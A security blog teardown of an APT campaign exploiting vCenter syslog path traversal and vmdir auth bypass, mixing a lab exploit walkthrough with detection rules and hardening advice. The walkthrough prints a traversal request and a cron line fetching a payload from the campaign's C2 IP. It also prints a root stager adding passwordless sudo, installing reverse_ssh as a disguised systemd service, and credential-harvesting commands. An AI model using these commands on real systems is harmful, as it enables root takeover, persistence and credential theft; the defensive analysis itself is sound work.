CVE-2026-59310 and CVE-2026-59309 Teardown: How a China-Nexus APT Turned vCenter’s Log Collector Into an Unauthenticated Root Shell
Five days. That is the entire window between Broadcom shipping VMSA-2026-0006 on July 29, 2026 and QUIRSO’s responders watching a suspected China-nexus actor drop a root cron job on an internet-facing vCenter appliance on August 3. Some of the auth-bypass activity landed even earlier, on August 1. If you still think of patch Tuesday as the start of a comfortable grace period, this campaign is your notice that the grace period is now measured in hours, and that the thing collecting your logs can hand an attacker the keys to your entire virtualization estate.
The five-day window and why vCenter is worth the sprint
Patch-diffing is not exotic anymore. When Broadcom publishes a fixed VCSA build, the diff between the vulnerable and patched appliance is right there in the shipped Python, Java, and native binaries. A competent operator pulls both builds, runs bsdiff or a binary differ across the affected services, and looks for exactly the sanitization logic that was added. For a directory-traversal bug, the “fix” is almost always a new canonicalization call or a .. rejection check, which is a neon sign pointing at the vulnerable code path. That is how you go from advisory to working exploit in under a week.
The reason a China-nexus crew burned an exploit this fast on vCenter, rather than saving it, is simple: vCenter is the single most valuable box in most enterprise data centers. Own it and you own the management plane for every ESXi host, every VM, every snapshot, and the credential store that ties it all together. It is a tier-1 target the way a domain controller is a tier-1 target. The brief I am working from reports the campaign reached hundreds of organizations, with the circulating figure of 361 victims across 47 countries carried in incident reporting. Treat that number as responder telemetry rather than gospel, but the geography is the interesting part: victimology deliberately excluded mainland China, which is one of the threads QUIRSO used to reach moderate-confidence attribution to a Chinese-speaking actor operating on UTC+08:00 working hours, alongside Chinese-language artifacts in the scripts and apparent reuse of research from a Chinese security publication.
Two 9.8s, one intrusion chain
Both bugs shipped under the same advisory, and both carry a CVSSv3.1 base score of 9.8. That is the ceiling for network-exploitable, unauthenticated, full-impact flaws.
| CVE | Component | Class | CVSSv3.1 | Role in the chain |
|---|---|---|---|---|
| CVE-2026-59310 | vCenter Syslog Server | Directory traversal to RCE | 9.8 | Initial access, unauthenticated root code execution |
| CVE-2026-59309 | VMware Directory Service (vmdir) | Authentication bypass | 9.8 | Silent admin account creation in vCenter SSO |
Here is the honest nuance QUIRSO flagged and that I want to preserve: the traversal bug (59310) is the one they forensically tied to root code execution in the intrusion they investigated. The auth-bypass (59309) was seen producing silently created admin accounts, including a vcenter_admin account, but that account was never used in later phases, and QUIRSO does not link 59309 to the same chain with certainty. So the accurate framing is “two critical bugs patched together, one of which is the confirmed initial-access vector, the other of which showed up as concurrent malicious activity against the same class of target.” Do not let the headline convince you both were required links in one clean kill chain.
Root cause: how a syslog output path becomes a root RCE
The vulnerable component is the Syslog server inside the vCenter Server Appliance (VCSA). Its job is mundane: accept log-forwarding configuration and write log data to an output location. The flaw is in how it builds that output path from user-controlled input.
The mechanism, based on QUIRSO’s artifacts, is a textbook path-traversal to file-write. The service takes an attacker-influenced target string, appends a -syslog.log suffix that mirrors VCSA’s remote syslog file-naming convention, and joins it to the syslog output directory without canonicalizing the result or rejecting .. sequences. Feed it enough traversal and the write escapes the log directory entirely and lands in /etc/cron.d/.
// Simplified model of the vulnerable output-path construction
char path[PATH_MAX];
snprintf(path, sizeof(path), "%s/%s-syslog.log",
SYSLOG_OUTPUT_DIR, // e.g. /var/log/vmware/syslog
user_supplied_target); // attacker: "../../../etc/cron.d/zz-poc59310"
// No realpath(), no ".." rejection: the write lands in /etc/cron.d/
FILE *f = fopen(path, "w");
fwrite(attacker_content, 1, content_len, f);
fclose(f);
That single missing check is the whole ballgame, because of what /etc/cron.d/ means on VCSA. crond on the appliance runs as root and executes files placed in that directory. An arbitrary file write there is not “an information leak” or “a limited primitive,” it is unauthenticated remote code execution as root, with no local account to compromise and no privilege escalation step required. QUIRSO put it plainly: exploitation gave the actor “immediate, non-interactive code execution in a root context,” so every subsequent command logged by CROND was already running as root.
A hardened version of that path handler is not complicated, which is what makes the bug frustrating:
char resolved[PATH_MAX];
// Resolve symlinks and "." / ".." before trusting the path
if (!realpath(candidate_path, resolved))
return ERR_INVALID_PATH;
// The resolved path MUST still live under the syslog output directory
size_t base_len = strlen(SYSLOG_OUTPUT_DIR);
if (strncmp(resolved, SYSLOG_OUTPUT_DIR, base_len) != 0 ||
(resolved[base_len] != '/' && resolved[base_len] != '\0'))
return ERR_PATH_ESCAPE;
Canonicalize, then assert the prefix. That is it. The patched builds do the equivalent.
Affected and fixed versions
There is no workaround. You patch, or you accept exposure.
| Branch | Fixed release |
|---|---|
| vCenter 9.1.x | 9.1.0.0300 (cumulative; hardening first shipped in 9.1.0.0200) |
| vCenter 9.0.x | 9.0.2.0100 |
| vCenter 8.0 | 8.0 U3k or 8.0 U2f, depending on branch |
| VMware Cloud Foundation vCenter 5.x | async patch to 8.0 U3k |
| Telco Cloud Platform | KB449886 |

The paired auth-bypass: vmdir and silent admin accounts
CVE-2026-59309 sits in the VMware Directory Service, the LDAP-backed identity store behind vCenter Single Sign-On. An attacker with network access to vCenter can bypass authentication and gain unauthorized access. In the wild, QUIRSO saw this manifest as the silent creation of administrative accounts starting August 1, including that unused vcenter_admin artifact.
Why create an admin account you never touch? A few plausible reasons: staging redundant access before the noisier traversal exploitation, testing the primitive at scale, or simple operational sloppiness across a campaign hitting hundreds of hosts. The defensive takeaway does not depend on solving that riddle. If you run vCenter SSO, a new administrator principal that nobody in change management created is a five-alarm event regardless of which CVE minted it.
Recon: GoodMoodle and the VCF Fleet cosplay
Before the exploit, the actor fingerprinted targets through the vSphere REST API using spoofed User-Agent strings: GoodMoodle-VCFleet/1.0 and GoodMoodle-VCProbe/1.0. Those names are chosen to blend into legitimate traffic from Broadcom’s VMware Cloud Foundation Fleet management stack. Picking a VCF Fleet-flavored User-Agent tells you the operator knows the VCF 9.0 management topology well enough to know what “normal” chatter looks like on the wire. This is not spray-and-pray; it is someone who has spent time inside these environments.
That detail is a gift for defenders, because those strings are not something you will ever see from a real Broadcom component. They are high-fidelity indicators.
Walking the exploit chain in a lab
Everything below is for an isolated lab: a pre-patch VCSA 8.0 U3j (or earlier) eval build, or a purpose-built Flask mock of the vulnerable syslog path handler, on a VLAN with no internet route, with Kali as the attacker box. Never point this at production.
One caveat I will not paper over: the exact HTTP verb, path, and parameter name for the vulnerable syslog-configuration endpoint have not been published by Broadcom, and public reporting does not confirm them. QUIRSO’s forensic artifacts (the dropped cron file, the CROND execution, the C2 callback) are the primary evidence. So treat the endpoint below as illustrative of the mechanism. Verify against your lab build rather than assuming this literal request.
Step 1: Fingerprint.
curl -sk https://<vcenter-ip>/ui/pluginPackages/com.vmware.vsphere.client.htmlclient/ \
-H "User-Agent: GoodMoodle-VCProbe/1.0" | grep -i "version"
nmap -sV -p 443,5480,9443 <vcenter-ip>
Step 2: Exercise the traversal (mechanism, not a confirmed endpoint). The idea is to submit a syslog-forwarding target whose value traverses out of the log directory. Conceptually:
curl -sk -X POST "https://<vcenter-ip>/api/appliance/logging/forwarding" \
-H "Content-Type: application/json" \
-d '{"cfg":[{"hostname":"../../../etc/cron.d/zz-poc59310","port":514,"protocol":"TLS"}]}'
Step 3: The dropped cron file. The observed artifact was a malformed cron file named zz-poc59310-syslog.log inside /etc/cron.d/. The zz- prefix pushes it late in lexical ordering, the -syslog.log suffix mimics VCSA’s syslog naming, and the CVE reference in the middle is the operator practically signing their work. A minimal cron payload that fetches and runs a stager looks like this:
* * * * * root curl -sk http://5.34.177.38:9861/payload -o /tmp/.vmware-perf-upd.sh \
&& sh /tmp/.vmware-perf-upd.sh && rm -f /tmp/.vmware-perf-upd.sh
In the real campaign, crond logged the malformed file, a curl (or wget) pulled the backdoor from 5.34.177[.]38:9861, executed it, and then deleted the file to reduce forensic residue.
Step 4: The root stager. The staged script, /tmp/.vmware-perf-upd.sh (base64-encoded on the wire in the real intrusion), does the unglamorous persistence groundwork.
#!/bin/bash
# Grant passwordless root to a service-account name that looks native to VCSA
echo "perfchart ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/vmware-perf
chmod 440 /etc/sudoers.d/vmware-perf
# Fetch the reverse_ssh client, hidden dotfile in /tmp
curl -sk http://5.34.177.38:9861/rs -o /tmp/.rs && chmod +x /tmp/.rs
# Persist an outbound tunnel as a systemd unit dressed up as a VMware service
cat > /etc/systemd/system/vmware-perf.service <<'EOF'
[Unit]
Description=VMware Performance Monitor
After=network.target
[Service]
ExecStart=/tmp/.rs <attacker-ip>:2222
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl enable --now vmware-perf.service
Note the naming discipline: vmware-perf, perfchart, “VMware Performance Monitor.” Every artifact is chosen to survive a bored analyst scrolling a process list. The sudoers entry granting perfchart NOPASSWD root is the kind of thing that hides in plain sight because “perfchart” sounds like it belongs.

Credential harvesting via vmafd
With root, the actor turned to the credential store. VMware’s vmafd (Authentication Framework Daemon) manages the appliance’s certificates and machine credentials, and its client tooling is right there on the box. Pulling machine certs and enumerating SSO principals gives an operator the material to move laterally without ever re-exploiting anything.
# On the compromised VCSA, running as root
# Extract machine certificates / credentials from the vCenter keystore
python3 /usr/lib/vmware-vmafd/bin/vmafd-client.py --get-machine-certs
# Enumerate SSO principals / harvest SAML material for vSphere lateral movement
/usr/lib/vmware-sso/bin/ssoAdminTool --listUsers --tenant vsphere.local
This is the pivot that matters. SAML tokens and machine credentials pulled from vCenter authenticate to the ESXi hosts it manages. The attacker no longer needs a bug on ESXi; they have valid credentials, which is quieter and far more durable.
Persistence that ignores your inbound firewall
Two mechanisms carried persistence: the open-source reverse_ssh framework and a custom backdoor called linuxFile.
reverse_ssh (from the NHAS project on GitHub) is a full SSH server that the victim dials out to. The compromised VCSA initiates an outbound connection to the attacker’s listener, and the operator gets a real SSH shell back down that tunnel. This is the elegant, infuriating part: your inbound firewall rules are irrelevant, because nothing is inbound. The management appliance itself reaches out.
# Attacker C2 side, using the open-source reverse_ssh
./server --port 2222 --ca-key ./server_key
# Once the victim calls home:
./client <victim-id> # interactive root shell on the VCSA
The linuxFile backdoor complements it with a WebSocket C2 channel, beaconing to ws://intel.se9ly9upbhay.shop:8080/ws and persisting via its own systemd service. Plain ws:// over an odd port, dressed up as a service, is a deliberate choice: it blends into environments that already carry WebSocket traffic and dodges naive HTTP inspection.
QUIRSO is blunt on scope here: the reverse_ssh persistence was deployed on every victim they reported, so any exposed-before-patch instance should be treated as fully compromised, not merely “at risk.”
Endgame on ESXi, and the smokescreen theory
With harvested vCenter credentials, the actor authenticated to ESXi hosts and created local accounts to stage encryption. On ESXi that looks like:
esxcli system account add --id=svc-backup --password='<redacted>' --role=root
Then came a Babuk-derived encryptor. Babuk’s ESXi/Linux source leaked in 2021 and has been recycled into countless forks since, so a Babuk lineage on a hypervisor is not surprising. The encryptor renamed affected data with a distinct new extension and used partial encryption, targeting only the first 512 MB of large VMDK files. Partial encryption is a throughput optimization: you do not need to churn a 2 TB disk to make a VM unbootable, corrupting the first half-gigabyte of headers and filesystem metadata does the job in a fraction of the time.
A nasty side effect, and QUIRSO thinks it may be more feature than accident: ESXi log files were encrypted alongside VM data, destroying the very telemetry a responder would use to reconstruct what happened on the hypervisor. That aligns with QUIRSO’s headline judgment. Based on the case they investigated, they do not believe ransomware was necessarily the primary objective. The encryption reads as a smokescreen laid over a campaign whose real prize was persistent root access to the virtualization control plane.
If you take one strategic idea from this teardown, take that one. A “.babyk” extension on your datastore may be the loudest, least important thing the actor did.

Setting the record straight: the Trivy supply-chain attack is a different incident
The framing around this campaign has picked up a “Trivy supply-chain angle” involving JWTs, AWS keys, and private keys stolen from thousands of organizations. I want to be precise, because conflating incidents is how bad threat intel spreads.
The Trivy activity is a separate campaign. It was carried out by an actor tracked as TeamPCP (UNC6780) using the Shai-Hulud worm, which compromised Aqua Security’s Trivy scanner and propagated to other packages including LiteLLM. Starting March 19, the operators published a malicious Trivy build, force-pushed malicious commits across 76 version tags, and later abused stolen developer credentials to upload poisoned versions to PyPI. That is a software-supply-chain worm, an entirely different modus operandi from an unauthenticated vCenter traversal.
There is no confirmed forensic link between the Trivy/Shai-Hulud campaign and the CVE-2026-59310 vCenter intrusions. The circulating “2,188 organizations” figure and the specific credential types attributed to the Trivy incident have not been verified against a primary source in the material I am working from, and they have not been confirmed as belonging to this vCenter campaign at all. Do not stitch them into the same kill chain. They are, at most, concurrent activity in a broad threat landscape. Treating them as one operation would send responders hunting for the wrong artifacts on the wrong systems.
Detection engineering across the whole chain
Every stage of this intrusion leaves telemetry if you are watching the right places. The management plane is not a black box; instrument it like the crown jewel it is.
Cron and CROND
Watch /etc/cron.d/, /var/spool/cron/, and the cron.{hourly,daily,weekly,monthly} directories. The tell here is a file appearing in /etc/cron.d/ that VCSA’s own management did not create, followed by CROND running curl/wget to an external host.
# auditd on VCSA
-w /etc/cron.d/ -p wa -k cron_modification
-w /etc/crontab -p wa -k cron_modification
-w /var/spool/cron/ -p rwa -k cron_spool_write
-w /etc/sudoers.d/ -p wa -k sudoers_write
title: CROND Root Execution With Base64 Decode on VCSA
logsource:
product: linux
service: syslog
detection:
selection:
program: 'CROND'
message|contains|all:
- 'root'
- 'base64'
- '/tmp/'
condition: selection
level: critical
tags:
- attack.t1053.003
- attack.t1059.004
Do not lean on a filename allowlist that trusts anything containing “vmware.” The actor mimics VMware naming on purpose (vmware-perf, zz-poc59310-syslog.log). Alert on the write and the execution behavior, not the label.
Systemd persistence
Monitor /etc/systemd/system/, /lib/systemd/system/, and /run/systemd/system/.
title: New Systemd Service Created on VMware VCSA
logsource:
product: linux
service: journald
detection:
selection:
SYSLOG_IDENTIFIER: 'systemd'
MESSAGE|contains: 'Created symlink'
MESSAGE|re: '.*(vmware-perf|vmware-backup|svc-|linuxFile).*'
condition: selection
level: high
Network signatures
The infrastructure below is time-bound and may be sinkholed or rotated, so use it for retro-hunting, not as your only line of defense.
alert tcp $HOME_NET any -> $EXTERNAL_NET 9861 (msg:"CVE-2026-59310 Payload Download C2 Port 9861"; flow:established,to_server; threshold:type limit, track by_src, count 1, seconds 60; sid:9263100; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"linuxFile WebSocket C2 Beacon"; flow:established,to_server; content:"intel.se9ly9upbhay.shop"; http_header; sid:9263101; rev:1;)
alert tcp $HOME_NET any -> $EXTERNAL_NET 2222 (msg:"Possible reverse_ssh Outbound Tunnel"; flow:established,to_server; sid:9263102; rev:1;)
The single highest-value behavioral rule: your vCenter and ESXi management interfaces should never initiate outbound SSH. Any tcp/22 or tcp/2222 originating from those IPs is a reverse_ssh tunnel until proven otherwise.
User-Agent hunting
title: Spoofed VCF Fleet User-Agent in vSphere API Requests
logsource:
product: vmware
service: vcenter
detection:
selection:
cs-user-agent|contains:
- 'GoodMoodle-VCFleet'
- 'GoodMoodle-VCProbe'
condition: selection
level: high
ESXi and SSO integrity
- Baseline
esxcli software vib listand diff against known-good; enable Secure Boot to block unsigned VIBs. - Alert on
vim.event.AccountCreatedEventand any new local ESXi account (esxcli system account list) created outside a change window. - Forward VCSA audit logs (
/var/log/audit/audit.log) to your SIEM and alert on new SSO administrator principals: that catches thevcenter_adminartifact from CVE-2026-59309. - For the encryptor endgame, watch for mass rename/truncate syscalls on VMFS volumes and the appearance of a new file extension across a datastore.
MITRE ATT&CK mapping
| ATT&CK ID | Technique | Phase |
|---|---|---|
| T1190 | Exploit Public-Facing Application | Initial access via syslog traversal |
| T1053.003 | Scheduled Task/Job: Cron | Cron file dropped to /etc/cron.d/ |
| T1059.004 | Unix Shell | Root stager executed via CROND |
| T1543.002 | Systemd Service | linuxFile / reverse_ssh persistence |
| T1098 | Account Manipulation | vcenter_admin SSO and ESXi accounts |
| T1078 | Valid Accounts | Harvested vCenter creds reused on ESXi |
| T1552.004 | Unsecured Credentials: Private Keys | vmafd cert/credential harvest |
| T1071.001 | Web Protocols | WebSocket C2 (ws://…:8080/ws) |
| T1572 | Protocol Tunneling | reverse_ssh outbound tunnel |
| T1036.004 | Masquerade Task or Service | VMware-themed cron/systemd names |
| T1070.004 | Indicator Removal: File Deletion | Stager self-deletes |
| T1486 | Data Encrypted for Impact | Babuk-derived VMDK encryption |
| T1485 | Data Destruction | ESXi logs encrypted as anti-forensics |

Hardening and immediate response
Patch first: 9.1.0.0300, 9.0.2.0100, or 8.0 U3k / 8.0 U2f depending on your branch. There is no workaround. Then, in order:
- Get vCenter off the public internet and restrict the management interface to a trusted admin network. An internet-facing VCSA in 2026 is an accident with a date attached.
- Apply outbound egress filtering on VCSA and ESXi so they can only reach update, NTP, and DNS infrastructure. This alone breaks both
reverse_sshand thelinuxFileWebSocket beacon. - Baseline and periodically re-verify
/etc/cron.d/,/etc/systemd/system/, and/etc/sudoers.d/on VCSA. ThatperfchartNOPASSWD entry has nowhere to hide against a good baseline. - Treat any instance that was internet-exposed before you patched as compromised, not “possibly compromised.” QUIRSO deployed the persistence on every reported victim. Sweep for the IOCs, rotate all vCenter and ESXi credentials and machine certificates, and rebuild rather than clean if you find
linuxFileorreverse_ssh. - Maintain immutable, network-isolated, regularly tested backups. When an actor can shut down every VM on a host and corrupt the datastore in one pass, tested restores are the difference between hours and days of downtime.
Key takeaways
- A missing
realpath()-and-prefix check in vCenter’s syslog output handler turned an unauthenticated file write into root RCE, because/etc/cron.d/on VCSA is executed by root. Sanitization of..is not optional plumbing; it is the whole security boundary. - Five days from patch to in-the-wild exploitation is the new normal for tier-1 targets. Patch-diffing makes your advisory their exploit spec.
- The ransomware was likely a smokescreen. The real objective was persistent root access to the virtualization control plane, and the encrypted ESXi logs were a bonus that shredded the evidence.
- The Trivy/Shai-Hulud supply-chain attack is a different campaign by a different actor (TeamPCP/UNC6780). Do not fold it into this kill chain, and treat the “2,188 orgs” figure as unverified for this incident.
- Your best single detection is behavioral: vCenter and ESXi management interfaces initiating outbound SSH or WebSocket connections is never normal. Alert on it, and egress-filter so it cannot happen in the first place.
Related Tutorials
- APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
- Writing Your First Shellcode: x86 Reverse Shell from Scratch
References
- 1. Broadcom VMSA-2026-0006.1 – Official advisory
- Global Exploitation of CVE-2026-59310 by Suspected Chinese-Nexus APT & Related CVE-2026-59309 Activity – QUIRSO GmbH (Primary Incident Responder Research)
- Critical VMware vCenter Vulnerabilities Allow Authentication Bypass and Remote Code Execution (CVE-2026-59309, CVE-2026-59310) – Rapid7 ETR
- Suspected China-Nexus Actor Exploits VMware vCenter Flaw, Deploys Babuk-Derived Ransomware – The Hacker News
- Exploit Public-Facing Application – MITRE ATT&CK Technique T1190 (Initial Access)
- VMware Syslog Path Traversal Becomes Root RCE, Persistent SSH Access and ESXi Ransomware – Cyber Security News (QUIRSO findings)